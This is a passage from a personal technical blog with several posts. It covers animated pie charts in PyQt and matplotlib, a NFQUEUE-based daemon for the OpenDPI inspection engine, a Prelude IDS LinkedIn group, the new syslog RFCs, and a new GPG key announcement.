   (l,v) = d
   start_angle = sum
   span = (v*360 / self.current_sum)
   el = QGraphicsEllipseItem(0, - ELLIPSE_RADIUS, ELLIPSE_RADIUS, ELLIPSE_RADIUS)
   el.setStartAngle(start_angle*16)
   el.setSpanAngle(span*16)

To do the animation, just create a QTimer, and redraw the scene in the event handler. The setSpanAngle function can be use, for example, to display the slices regularly in 20 steps, drawing (360/20) degrees of the total Pie at each step:

current_step = (self.i+1) * (360/20)
if (current_step >= o._start_angle):
   o.setVisible(True)
   if current_step > o._start_angle + o._span_angle:
      o.setSpanAngle( o._span_angle * 16 )
   else:
      o.setSpanAngle( 16 * (current_step - o._start_angle) )

Using all features of Qt is pretty simple, like brushes to create a gradient etc. data are stored in a model, and catching events allows to redraw the scene smoothly when something is changed.

This solution is implemented in PyQt only (and could easily be in Qt only), has no extra dependency, and is reasonably fast. Using Qt objects natively allows to use events like hover, click in a very trivial way.

Code is stored in a git repository. I've named it Cutie Chart, which is a pretty bad pun (I'll say I'm almost sorry):

git clone http://git.wzdftpd.net/cutie-chart.git

The repository also contains animation on Bar Charts, scaling each bar progressively to its normal size.

Example of result:

Matplotlib version

Using matplotlib would simplify things a lot, and bring tons of existing classes to the projects. However, things may not be so easy.

matplotlib provides a class FigureCanvasQTAgg. This class is a Qt canvas, so it can be used as a widget.

You have to create a Figure, a subplot and draw the pie:

fig = Figure(figsize=(width, height), dpi=dpi)
self.axes = fig.add_subplot(111)
self.axes.hold(False)
self.axes.plot([0.1, 0.1, 0.8, 0.8])
(patches, texts, autotexts) = self.axes.pie(self.data, explode=self.explode, labels=self.labels, colors=self.colors, autopct='%1.1f%%', shadow=True)

The animation is a bit trickier: changing the span angle is not possible. I've tried several options with no success (like using Transform etc.), until I decided to create a different animation, better suited for matplotlib. In this version, we add a dummy slice, to create the effect that each slice starts at 0% and grow to its proportion regularly. As previously, we use a QTimer:

s = sum(self.data)
i = self.i
self.anim_fracs[-1] = (s*(20-i)/i)

self.axes.pie(self.anim_fracs, colors=self.colors, labels=self.anim_labels, autopct='%1.1f%%')
self.draw()

Code will be committed in the same repository soon. I've uploaded the current file here

It works fine, and using matplotlib is nice, with many features and support classes (for ex the ability to create SVG or PDF, to have many other classes for charts etc). Matplotlib also handle the automatic placement of the legend, 3d effects, z-shape, which would take some time to add manually ;). However, the drawback is that the integration with Qt is limited, like the support of signals or interaction on objects.

Example of output:

Thursday, September 17 2009

Playing with OpenDPI

So, Ipoque has published its deep inspection engine under a free license (LGPLv3): OpenDPI This is always good news when a company decides to release source code to the community, so first of all thanks to Ipoque for this.

After downloading the source code on OpenDPI google project's page, I started to look at it.

Basically, the project looks quite unprepared for release (only a Makefile, no configure script - though no-one can be blamed for not using autotools -), but after looking at the code it seems not so bad:

  • the code is reasonably clean
  • it builds fine on x86 or x86_64 platforms
  • the code is provided with a decent list of identified protocols
  • the demo uses pcap files

There are a few minor annoyances:

  • the provided lib is a static lib ... building a shared library would be better !
  • the build system is pretty awful, rebuilding everything each time, without using deps, no install system etc.
  • no docs (looking at the demo file was sufficient to understand most of the function).
  • no correct website, forums or whatever. I'm sure it will get better in the future
  • pcap only

This last point was the most annoying to me, so I decided to rewrite a daemon using the NFQUEUE target. While I could have used the nfqueue-bindings, I decided to use C this time: it was simpler ! I only had to recode the open/close/runloop functions to use nfqueue, extract the packet from the nfqueue callback, and use the exact same callback as for pcap :)

Here is the relevant parts of the interesting code:

static int _nfq_cb(struct nfq_q_handle *qh,
		    	 struct nfgenmsg *nfmsg,
			 struct nfq_data *nfad, void *data)
{
       [...]
	struct nfqnl_msg_packet_hdr *ph = nfq_get_msg_packet_hdr(nfad);

	if (ph)
		id = ntohl(ph->packet_id);

	payload_len = nfq_get_payload(nfad, &payload);
	iph = (struct iphdr*)payload;

	ret = nfq_get_timestamp(nfad, &tv);
	time =
		((uint64_t) tv.tv_sec) * detection_tick_resolution +
		tv.tv_usec / (1000000 / detection_tick_resolution);

	// process the packet
	packet_processing(time, iph, payload_len, payload_len);

	nfq_set_verdict(qh, id, NF_ACCEPT, 0, NULL);

	return 0;
 }

The proof-of-concept code works fine. As seen on this discussion, maybe Ipoque folks would be interested in a contribution :D No netfilter integration is needed, just playing with nfqueue + mark for filtering should be enough for most cases.

The code is not yet published, because it doesn't do anything useful yet (just try to identify and follow protocols and flows). If you're interested, contact me (remove the _ signs).

Tuesday, August 25 2009

Planet INL is back

Planet INL, le Planet non officiel des salariés d'INL, est de retour !

Monday, June 1 2009

LinkedIn group for Prelude

I've just created a LinkedIn group for Prelude IDS.

All Prelude users are welcome to join the Prelude IDS group to stay in touch with other Prelude users, use the forums, get news etc.

Wednesday, May 27 2009

New Syslog RFCs

Several new RFCs for syslog have been issued in March:

So what are the improvements since the previous RFC (3614), especially in RFC5424 [1]:

  1. In section 5.1, "Minimum Required Transport Mapping":
    All implementations of this specification MUST support a TLS-based transport as described in RFC5425.
    Yay ! So they discovered TLS, that's great. Especially since RFC 5425 supports certificates authentication (section 4.2.1), certificate path validation, fingerprints, etc.
  2. Improved timestamps (Section 6.2.3) with supports for milliseconds, time zones, UTC offsets
  3. Section 6.3 describes structured data (name-value pairs)
  4. Section 7: Structured Data IDs
    This allows using an enterprise ID (registered to the IANA) for the structured data elements

However, nothing really useful on reliability (resending events, making sure they were delivered, etc.) except the very poor (and useless) section 8.5, which only acknowledges the lack of support :/ Well, Prelude IDS can do that pretty good.

Also, nothing on taxonomy, though it may be improved with structured data. However, it would require a good definition of events, formats etc, and given the current state of CEE, which is quite dead (3 mails on the list so far this year), it won't improve .. There is something to be done here.

Notes

[1] Some of the features (like TLS) are already present in good implementations of syslog (like rsyslog).

Wednesday, May 20 2009

New GPG Key

Partly because of the latest theoretical attack against the SHA-1 digest algorithm (details), I created a new GPG key:

sec   4096R/F1393998 2009-05-10
uid                  Pierre Chifflier <chifflier@gmail.com>
uid                  Pierre Chifflier <chifflier@inl.fr>
uid                  Pierre Chifflier <pollux@debian.org>
uid                  pollux <pollux@wzdftpd.net>
uid                  Pierre Chifflier <chifflier@cpe.fr>

It's signed with my old key 0x8D5F40CB, uploaded to keyservers, and will replace my old key.

- page 1 of 3